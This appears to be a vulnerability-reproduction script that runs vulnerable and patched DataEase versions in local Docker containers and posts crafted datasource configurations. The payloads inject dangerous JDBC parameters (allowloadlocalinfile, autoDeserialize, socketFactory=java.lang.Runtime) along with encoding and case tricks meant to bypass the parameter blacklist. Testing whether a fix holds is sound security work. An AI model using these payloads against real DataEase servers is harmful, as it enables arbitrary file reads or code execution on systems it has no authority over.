#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

VULN_IMAGE="registry.cn-qingdao.aliyuncs.com/dataease/dataease:v2.10.20"
FIX_IMAGE="registry.cn-qingdao.aliyuncs.com/dataease/dataease:v2.10.21"
MYSQL_IMAGE="registry.cn-qingdao.aliyuncs.com/dataease/mysql:8.4.5"

# Cleanup function
cleanup() {
    echo "[*] Cleaning up containers and networks..."
    docker rm -f dataease-vuln-variant dataease-fix-variant mysql-vuln-variant mysql-fix-variant 2>/dev/null || true
    docker network rm de-net-vuln-variant de-net-fix-variant 2>/dev/null || true
    rm -rf /tmp/dataease-repro-vuln-variant /tmp/dataease-repro-fix-variant
}
trap cleanup EXIT

# Pre-clean any stale resources
docker rm -f dataease-vuln-variant dataease-fix-variant mysql-vuln-variant mysql-fix-variant 2>/dev/null || true
docker network rm de-net-vuln-variant de-net-fix-variant 2>/dev/null || true
sleep 2

# Find two free host ports for DataEase
PORT_PAIR=$(python3 -c "
import socket
def free_port():
    s = socket.socket()
    s.bind(('', 0))
    p = s.getsockname()[1]
    s.close()
    return p
print(free_port(), free_port())
")
VULN_PORT=$(echo "$PORT_PAIR" | awk '{print $1}')
FIX_PORT=$(echo "$PORT_PAIR" | awk '{print $2}')
echo "[*] Using dynamic ports: vuln=$VULN_PORT fix=$FIX_PORT"

# Write the variant test Python script
VARIANT_PY="$LOGS/variant_test.py"
cat > "$VARIANT_PY" <<'PY'
import base64, json, urllib.request, sys

port = sys.argv[1]
variant = sys.argv[2]
url_type = sys.argv[3] if len(sys.argv) > 3 else "validate"
url = f"http://127.0.0.1:{port}/de2api/datasource/{url_type}"

configs = {
    "original": {"type":"mysql","host":"127.0.0.1","port":3306,"dataBase":"test","extraParams":"allowloadlocalinfile=true","illegalParameters":[]},
    "mariadb": {"type":"mariadb","host":"127.0.0.1","port":3306,"dataBase":"test","extraParams":"allowloadlocalinfile=true","illegalParameters":[]},
    "direct_jdbcurl": {"type":"mysql","urlType":"jdbcUrl","jdbcUrl":"jdbc:mysql://127.0.0.1:3306/test?allowloadlocalinfile=true","extraParams":"","illegalParameters":[]},
    "double_encode": {"type":"mysql","host":"127.0.0.1","port":3306,"dataBase":"test","extraParams":"%2561llowloadlocalinfile=true","illegalParameters":[]},
    "case_mixed": {"type":"mysql","host":"127.0.0.1","port":3306,"dataBase":"test","extraParams":"ALLOWLOADLOCALINFILE=true","illegalParameters":[]},
    "parent_field": {"type":"mysql","host":"127.0.0.1","port":3306,"dataBase":"test","extraParams":"allowloadlocalinfile=true","IllegalParameters":[]},
    "oracle": {"type":"oracle","host":"127.0.0.1","port":1521,"dataBase":"test","extraParams":"autoDeserialize=true","illegalParameters":[]},
    "pg": {"type":"pg","host":"127.0.0.1","port":5432,"dataBase":"test","extraParams":"socketFactory=java.lang.Runtime","illegalParameters":[]},
}

malicious_config = configs.get(variant, configs["original"])
payload = {
    "type": malicious_config.get("type", "mysql"),
    "name": f"evil-ds-{variant}",
    "nodeType": "datasource",
    "action": url_type,
    "configuration": base64.b64encode(json.dumps(malicious_config).encode()).decode()
}

req = urllib.request.Request(url, data=json.dumps(payload).encode(), headers={"Content-Type": "application/json"}, method="POST")
try:
    with urllib.request.urlopen(req, timeout=15) as resp:
        body = resp.read().decode()
        print(body)
except urllib.error.HTTPError as e:
    body = e.read().decode()
    print(body)
except Exception as e:
    print(json.dumps({"error": str(e)}))
PY

# Function to start MySQL + DataEase pair with docker compose
start_pair() {
    local de_image=$1
    local de_name=$2
    local mysql_name=$3
    local network_name=$4
    local de_port=$5
    local base_dir=$6

    rm -rf "$base_dir"
    mkdir -p "$base_dir/bin/mysql" "$base_dir/data/mysql" "$base_dir/logs" \
             "$base_dir/data/static-resource" "$base_dir/data/geo" \
             "$base_dir/data/appearance" "$base_dir/data/exportData" \
             "$base_dir/data/plugin" "$base_dir/data/font" "$base_dir/data/i18n"

    cat > "$base_dir/bin/mysql/init.sql" <<'EOF'
CREATE DATABASE IF NOT EXISTS `dataease` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci;
EOF

    cat > "$base_dir/my.cnf" <<'EOF'
[mysqld]
default-storage-engine=INNODB
character_set_server=utf8mb4
max_connections=2000
innodb_flush_log_at_trx_commit=0
sync_binlog=0
sql_mode=STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION
skip-name-resolve
EOF

    cat > "$base_dir/application.yml" <<EOF
server:
  tomcat:
    connection-timeout: 70000
spring:
  servlet:
    multipart:
      max-file-size: 500MB
      max-request-size: 500MB
  datasource:
    url: jdbc:mysql://${mysql_name}:3306/dataease?autoReconnect=false&useUnicode=true&characterEncoding=UTF-8&characterSetResults=UTF-8&zeroDateTimeBehavior=convertToNull&useSSL=false&allowPublicKeyRetrieval=true
    username: root
    password: Password123@mysql
dataease:
  origin-list: "http://localhost:8100"
  login_timeout: 960
task:
  executor:
    address: http://sync-task-actuator:9001
    log:
      path: /opt/dataease2.0/logs/sync-task/task-handler-log
EOF

    cat > "$base_dir/compose.yml" <<EOF
services:
  ${mysql_name}:
    image: ${MYSQL_IMAGE}
    container_name: ${mysql_name}
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "localhost", "-uroot", "-pPassword123@mysql", "--protocol", "tcp"]
      interval: 5s
      timeout: 3s
      retries: 20
    environment:
      MYSQL_ROOT_PASSWORD: Password123@mysql
    volumes:
      - ${base_dir}/my.cnf:/etc/mysql/conf.d/my.cnf
      - ${base_dir}/bin/mysql:/docker-entrypoint-initdb.d/
      - ${base_dir}/data/mysql:/var/lib/mysql
    networks:
      - ${network_name}

  ${de_name}:
    image: ${de_image}
    container_name: ${de_name}
    ports:
      - "${de_port}:8100"
    depends_on:
      ${mysql_name}:
        condition: service_healthy
    networks:
      - ${network_name}
    environment:
      - SPRING_PROFILES_ACTIVE=standalone
    volumes:
      - ${base_dir}/application.yml:/opt/dataease2.0/conf/application.yml
      - ${base_dir}/logs:/opt/dataease2.0/logs
      - ${base_dir}/data/static-resource:/opt/dataease2.0/data/static-resource
      - ${base_dir}/data/geo:/opt/dataease2.0/data/geo
      - ${base_dir}/data/appearance:/opt/dataease2.0/data/appearance
      - ${base_dir}/data/exportData:/opt/dataease2.0/data/exportData
      - ${base_dir}/data/plugin:/opt/dataease2.0/data/plugin
      - ${base_dir}/data/font:/opt/dataease2.0/data/font
      - ${base_dir}/data/i18n:/opt/dataease2.0/data/i18n

networks:
  ${network_name}:
    name: ${network_name}
EOF

    cd "$base_dir"
    docker compose -f compose.yml up -d
    cd "$ROOT"
}

# Function to wait for DataEase API
wait_for_dataease() {
    local name=$1
    local port=$2
    echo "[*] Waiting for DataEase API ($name) on port $port..."
    for i in $(seq 1 180); do
        if curl -sf "http://127.0.0.1:${port}/de2api/datasource/types" >/dev/null 2>&1; then
            echo "[*] DataEase $name is responding on port $port"
            return 0
        fi
        if ! docker ps -q -f "name=$name" | grep -q .; then
            echo "[ERROR] Container $name stopped unexpectedly"
            docker logs "$name" > "$LOGS/${name}_crash.log" 2>&1 || true
            return 1
        fi
        sleep 3
    done
    echo "[ERROR] DataEase $name did not become ready in time"
    docker logs "$name" > "$LOGS/${name}_startup.log" 2>&1 || true
    return 1
}

test_variant() {
    local port=$1
    local variant=$2
    local endpoint=${3:-validate}
    local label=$4
    echo ""
    echo "=== [$label] Testing variant: $variant (endpoint: $endpoint) ==="
    python3 "$VARIANT_PY" "$port" "$variant" "$endpoint" 2>&1 | tee "$LOGS/${label}_${variant}_${endpoint}.json" || true
    if grep -q "Communications link failure" "$LOGS/${label}_${variant}_${endpoint}.json" 2>/dev/null; then
        echo "[BYPASS] Variant $variant bypassed on $label!"
        echo "$variant" >> "$LOGS/${label}_bypassed_variants.txt"
        return 0
    elif grep -q "Illegal parameter" "$LOGS/${label}_${variant}_${endpoint}.json" 2>/dev/null; then
        echo "[BLOCKED] Variant $variant was correctly blocked on $label."
        return 1
    else
        echo "[UNKNOWN] Unexpected response for variant $variant on $label."
        return 1
    fi
}

# --- Test VULNERABLE version ---
echo ""
echo "=========================================="
echo "[1] Testing VULNERABLE version (v2.10.20)"
echo "=========================================="

start_pair "$VULN_IMAGE" dataease-vuln-variant mysql-vuln-variant de-net-vuln-variant "$VULN_PORT" /tmp/dataease-repro-vuln-variant
wait_for_dataease dataease-vuln-variant "$VULN_PORT" || true

if curl -sf "http://127.0.0.1:${VULN_PORT}/de2api/datasource/types" >/dev/null 2>&1; then
    test_variant "$VULN_PORT" "original" "validate" "vuln"
    test_variant "$VULN_PORT" "mariadb" "validate" "vuln"
    test_variant "$VULN_PORT" "direct_jdbcurl" "validate" "vuln"
    test_variant "$VULN_PORT" "double_encode" "validate" "vuln"
else
    echo "[WARN] Vulnerable version did not start; skipping live tests."
fi

cd /tmp/dataease-repro-vuln-variant && docker compose -f compose.yml down >/dev/null 2>&1; cd "$ROOT"
sleep 5

# --- Test FIXED version ---
echo ""
echo "=========================================="
echo "[2] Testing FIXED version (v2.10.21)"
echo "=========================================="

start_pair "$FIX_IMAGE" dataease-fix-variant mysql-fix-variant de-net-fix-variant "$FIX_PORT" /tmp/dataease-repro-fix-variant
wait_for_dataease dataease-fix-variant "$FIX_PORT" || true

if curl -sf "http://127.0.0.1:${FIX_PORT}/de2api/datasource/types" >/dev/null 2>&1; then
    test_variant "$FIX_PORT" "original" "validate" "fix"
    test_variant "$FIX_PORT" "mariadb" "validate" "fix"
    test_variant "$FIX_PORT" "direct_jdbcurl" "validate" "fix"
    test_variant "$FIX_PORT" "double_encode" "validate" "fix"
    test_variant "$FIX_PORT" "case_mixed" "validate" "fix"
    test_variant "$FIX_PORT" "parent_field" "validate" "fix"
    test_variant "$FIX_PORT" "oracle" "validate" "fix"
    test_variant "$FIX_PORT" "pg" "validate" "fix"
    test_variant "$FIX_PORT" "original" "save" "fix"
else
    echo "[WARN] Fixed version did not start; skipping live tests."
fi

cd /tmp/dataease-repro-fix-variant && docker compose -f compose.yml down >/dev/null 2>&1; cd "$ROOT"

# Determine results
echo ""
echo "=========================================="
echo "SUMMARY"
echo "=========================================="

VULN_BYPASSED=false
if [ -f "$LOGS/vuln_bypassed_variants.txt" ]; then
    echo "[*] Vulnerable version bypassed by: $(cat "$LOGS/vuln_bypassed_variants.txt" | tr '\n' ' ')"
    VULN_BYPASSED=true
else
    echo "[*] Vulnerable version: no bypasses recorded (may indicate startup issues)."
fi

FIX_BYPASSED=false
if [ -f "$LOGS/fix_bypassed_variants.txt" ]; then
    echo "[!] Fixed version BYPASSED by: $(cat "$LOGS/fix_bypassed_variants.txt" | tr '\n' ' ')"
    FIX_BYPASSED=true
else
    echo "[*] Fixed version: no bypasses found."
fi

if [ "$FIX_BYPASSED" = true ]; then
    echo "[!] At least one variant bypassed the fix."
    exit 0
else
    echo "[*] No variants bypassed the fix."
    exit 1
fi